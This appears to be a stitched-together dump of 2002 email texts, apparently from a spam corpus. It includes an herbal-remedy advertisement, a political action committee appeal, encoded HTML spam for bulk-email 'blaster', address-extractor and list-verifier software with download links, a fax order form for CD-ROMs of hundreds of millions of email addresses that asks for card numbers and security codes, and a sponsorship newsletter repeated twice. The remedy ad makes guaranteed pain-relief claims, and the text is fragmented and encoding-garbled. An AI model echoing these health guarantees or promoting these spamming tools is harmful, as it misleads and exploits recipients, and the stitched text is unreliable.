(Hei Long Chibang) PLEASE NOTE: While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: 1. Significantly reduce discomfort and pain! (In many instances most, if not all, traumas and distress can be eliminated!) 2. Significantly increase mobility and strength ratio. (Please remember also the significance of proper diet, excercise, rest and prayer.) Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. ======================================================== !!!!Please refer to Introductory Offers further on in this text featuring Temple 3 Ragga Dagga (TM) along with our other very fine Sensitive/Responsive cordial botanical products. Please enjoy!!! Many Blessings to you all. ======================================================== PRICING INFORMATION: 1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) One .75 oz. jigget/bar $65.00 One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) 2. SWEET VJESTIKA APHRODISIA DROPS (tm) One 1.0 oz. bottle $90.00 Two 1.0 oz. bottles $140.00 3. SEVENTH HEAVEN PROSAKA (tm) One 100 tablet tin $40.00 Three 100 tablet tins $105.00 Six 100 tablet tins $185.00 4. SEVENTH HEAVEN GENTLE FEROCITY (tm) One 300 tablet jar $130.00 5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. ** 3-pack (270 tablets) $83.00 ** 6-pack (540 tablets) $126.00 (save $40.00) ** 9-pack (810 tablets) $159.00 (save $90.00) ** 12-pack (1,080 tablets) $192.00 (save $140.00) 6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. ** 3-pack (3 - 4 oz. bottles) $83.00 ** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) ** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) ** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) 7. Dynamic Duo Introductory Offers ** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) ** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) ** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) ** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) 8. SWEET APHRODISIA INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 9. BODY, MIND, SPIRIT ""HEAVENLY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 10. ""PURE ENERGY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) 11. ""SENSITIVE"" PREFERENTIAL INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) 12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. ************************************************** ORDERING INFORMATION: For your convenience, you can call us direct with your orders or questions. Don't forget to ask for the 2 for 1 Weekend Special!! Special good July 6&7, 2002 ONLY Call 1-623-974-2295 7 Days a Week -- 10:30 AM to 7:00 PM (Mountain Time) For all domestic orders, add $6.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. ************************************************** SPECIAL DISCOUNT & GIFT Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Seventh Heaven Temple 3 or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for ""happy"" smoking or brewing ... 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Equal opportunity means: ""For every man, woman and child to go as far and rise as high as their ambition and ability will take them."" Statistics, mostly gathered by government studies, show that AAs have only 1/3 the opportunity of all other Americans to rise to the top in the academic world, corporate world, the federal government. There seems to exist an invisible resistance to AAs' developing to the maximal of their potentials -- A Glass Ceiling. Let's look at a concrete case. A lot of our best people are employed in universities. Their average performance has been outstanding. What's their chance of rising to the top? University administrators are recruited almost exclusively from the ranks of faculty and professionals already employed in universities. Hence the ratio of [administrators / (faculty + professionals)], broken down to races, is a measure of the opportunity enjoyed by American citizens of different races. Nationwide, that ratio for blacks (non-Hispanic) is 0.21. That is, for every 100 black faculty and professionals there are 21 black administrators. The ratio for Native American is 0.20; for white (non-Hispanic) is 0.16; and for Hispanic is 0.15. However, it is only 0.06 for Asian American. Get on the Web and check it out for yourself! Source: Dept. of Education - , Table B-1f. The above dismal picture emerges from the supposedly ""enlightened"" academic world. The situation in the corporate world, state and federal governments is worse. In E-Mail 2 & 3, we present a strategy to induce the two major political parties to help us fight for equal opportunity and help make our beloved nation ""a more perfect Union."" There has already been progress on account of that strategy. Behold how the glass ceiling in the federal government is being shattered, owing significantly to the bloc-vote organized and delivered by 80-20 in the 2000 election. Sincerely (members of Steering Comm., titles for ID purposes only) Rajen Anand, Secretary, Federation of Indian-Am. Assocs., Tong S. Chung, Founding President & Current Chairman of the Board, Korean American Coalition, DC chapter, Alex Esclamado, Nat'l President, Filipino-Am. Political Assoc., Kenneth Fong, C.E.O., Clontech Laboratories, Yu-Chi Ho, Harvard Univ., member of Nat'l Acad. of Engineering, Stephen S. Ko, MD, Founder of Asian Am. Political Coalition N.J., Tony Lam, Councilman, Westminster, Los Angeles, California, Michael Lin, former Nat'l President, Org. of Ch-Ams (1994-98), Adeel Shah, Co-founder & Chairman/CEO of Telnia Corporation and President, US-Pakistan Business Council Washington, D.C., Peter Suzuki, Immediate Past President, National Asian/Pacific Am. Bar Association (NAPABA), Henry Tang, Chair, Committee of 100, Shaie-Mei Temple, Founding President, OCA-women New Orleans Chapter; Strategic Consultant, Chang-Lin Tien, Chancellor, Univ. of Calif., Berkeley (1990-97), Chun Wa Wong, Univ. of Calif., Los Angeles, Fellow, Am. phys. Soc., S. B. Woo, Lieutenant Governor of Delaware (1985-89) Jenny Yang, President, Assoc. of Chinese Am. Professionals; Co-founder, Houston 80-20 * * * * * * * * * * * 80-20 is a national, nonpartisan, Political Action Committee dedicated to winning equal opportunity and justice for all Asian Pacific Americans through a SWING bloc vote, ideally directing 80% of our community's votes and money to the presidential candidate endorsed by the 80-20, who better represents the interests of all APAs. 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size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CUL type=3Ddisc=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B =3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software programs=2E Its purpose is to organize your email lists in order to be more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 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Marketing CDROM with 100 million Addresses $69.95 USD [] 200 MILLION EMAIL ADDRESSES on 2 CD's $99.95 [] 1.5 Million USA Business Fax Numbers $49.95 USD [] COMBO PACKAGE - ALL DIRECTORIES ABOVE (3 CD's) $139.95 USD TOTAL: $_________ USD ====================================================================================== [] Credit Card Order [] Mail Order CREDIT CARD ORDERS FAX THIS ORDER FORM BACK TO 1-240-371-0672 Card #:___________________________________________________ Expiry Date: ______________ Type of Card [] VISA [] MASTERCARD [] AMERICAN EXPRESS Name on Card:_____________________________________________ Billing Address:_________________________________ZIP/Postal: ____________ City:_____________________State/Province:_______________ Country:_____________ Last 3 digits on reverse of card next to signature: [ ] - [ ] - [ ] Cardholder Signature:______________________________________ Please note that FT International will appear on your statement. ======================================================================================= For any questions please feel free to call us at 1-416-410-9364 To be removed from our database please send a fax to 1-970-289-6524",1,0 targetemailextractor@btamail.net.cn,webmake-talk@example.sourceforge.net,"Sun, 21 Jul 2002 19:42:28 +0800","[WM] ADV: Direct email blaster, email address extractor, maillist manager, maillist verify ............","=3CBODY bgColor=3D#ffffff=3E =3CDIV=3E=3CFONT face=3D宋=3B体=3B size=3D2=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail lists verifying=2E The main task is to determine which of addresses in the mail list are dead=2E The program is oriented=2C basically=2C on programmers which have their own mail lists to inform their users about new versions of their programs=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems do=2E Mail servers addresses for specified address are extracted from DNS=2E The program tries to connect with found SMTP-servers and simulates the sending of message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect as soon as mail server informs does this address exist or not=2E EMV can find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E =3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per hour=2E=22=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E =3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use email address collector available on the =3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires very few resources=2E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which limit you to one or two search engines and are unable=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E =3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E =3CUL=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any other email address collector program available=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search engines =3B=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be searched=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages simultaneously=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any time=2E=3C=2FFONT=3E =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CUL=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 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server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CUL type=3Ddisc=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B =3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software programs=2E Its purpose is to organize your email lists in order to be more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E =3B=3C=2FP=3E =3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E 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Press Release: SponsorClick Launches the First Sponsorship Ratin= g=20 Agency 3. Unusual Transactions of the Month 4. Sponsorship Alert Special X-treme 5. Special Offers: Taylor Nelson Sofr=E8s, BVA, Sport+Markt,=20 Mediametrie, and more 6. More Matching Opportunities With SponsorClick 7. How to Contact SponsorClick? =20 =20 ---------------------------------------------------------------------=20 .1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 Interview with Naomi Hancock, PR Manager, Veuve Clicquot UK - July 10= ,=20 2002 ---------------------------------------------------------------------=20 =20 On the occasion of the Veuve Clicquot Gold Cup Polo in West Sussex,=20 Naomi Hancock reveals Veuve Clicquot's communication strategy.=20 =20 Veuve Clicquot has had a single consistent communication strategy in the=20 UK for the last 15 years. This has been to associate the brand with the=20 most glamorous sporting cultural and social events of the English summer = -=20 known locally as The English Season.=20 Veuve Clicquot has become the Champagne of the Season. We've adapted our=20 communication to stay at the forefront of fashion, and attitudes to these= =20 events, which combine tradition with the excitement of world class sport.= =20 Does your company consider sponsorship a key marketing/communication=20 tool? Absolutely. Sponsorship enables us to build positive associations for the= =20 brand. But we are not interested in tacking our name onto an event where=20 the addition does not add real value to the event and vica-versa. We=20 believe in investing, nurturing, and improving over time.=20 Can you describe your sponsorship strategy? We aim to maximise the perception of Veuve Clicquot as the Champagne of=20 the Season. Everything we do is designed to build a partnership, and=20 enhance the valuable efforts of our partners, in their own creation, and=20 development of their events. Our buzz word is integration, as we seek to=20 make The Season central to our marketing mix.=20 Can you describe your sponsorship decision-making process? We usually discuss a sponsorship programme for the full year with our=20 mother company in France. We have flexibility - within our budget and the= =20 frame of The Season - to undertake what we sense to match our values and=20 the image of Veuve Clicquot. Our role in London is to screen whatever=20 comes to us and discuss relevant operations internally. We have a dedicated PR Group at Veuve Clicquot which makes all decisions=20 related to our sponsorship. Above a certain threshold our head-office wil= l=20 like to be involved in such a decision.=20 What are the main criteria on which you base your sponsorship strategy? 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Naomi Hancock,= =20 UK PR Manager, tells us all about it in an exclusive interview. Also read= =20 about the launch of SponsorRating, the first sponsorship rating agency,=20 our unsual transactions of the month, and a ""special X-treme"" Sponsorship= =20 Alert. As this is the last issue for the summer, we wish you a good August and=20 will be back in September. Your comments are always welcome, so please email us at=20 news@sponsorclick.com. All our best, Rachael Mark Editor In this issue: 1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 2. Press Release: SponsorClick Launches the First Sponsorship Ratin= g=20 Agency 3. Unusual Transactions of the Month 4. Sponsorship Alert Special X-treme 5. Special Offers: Taylor Nelson Sofr=E8s, BVA, Sport+Markt,=20 Mediametrie, and more 6. More Matching Opportunities With SponsorClick 7. How to Contact SponsorClick? =20 =20 ---------------------------------------------------------------------=20 .1. Sponsorship, How and Why? Veuve Clicquot Speaks=20 Interview with Naomi Hancock, PR Manager, Veuve Clicquot UK - July 10= ,=20 2002 ---------------------------------------------------------------------=20 =20 On the occasion of the Veuve Clicquot Gold Cup Polo in West Sussex,=20 Naomi Hancock reveals Veuve Clicquot's communication strategy.=20 =20 Veuve Clicquot has had a single consistent communication strategy in the=20 UK for the last 15 years. This has been to associate the brand with the=20 most glamorous sporting cultural and social events of the English summer = -=20 known locally as The English Season.=20 Veuve Clicquot has become the Champagne of the Season. We've adapted our=20 communication to stay at the forefront of fashion, and attitudes to these= =20 events, which combine tradition with the excitement of world class sport.= =20 Does your company consider sponsorship a key marketing/communication=20 tool? Absolutely. Sponsorship enables us to build positive associations for the= =20 brand. But we are not interested in tacking our name onto an event where=20 the addition does not add real value to the event and vica-versa. We=20 believe in investing, nurturing, and improving over time.=20 Can you describe your sponsorship strategy? We aim to maximise the perception of Veuve Clicquot as the Champagne of=20 the Season. Everything we do is designed to build a partnership, and=20 enhance the valuable efforts of our partners, in their own creation, and=20 development of their events. Our buzz word is integration, as we seek to=20 make The Season central to our marketing mix.=20 Can you describe your sponsorship decision-making process? We usually discuss a sponsorship programme for the full year with our=20 mother company in France. We have flexibility - within our budget and the= =20 frame of The Season - to undertake what we sense to match our values and=20 the image of Veuve Clicquot. Our role in London is to screen whatever=20 comes to us and discuss relevant operations internally. We have a dedicated PR Group at Veuve Clicquot which makes all decisions=20 related to our sponsorship. Above a certain threshold our head-office wil= l=20 like to be involved in 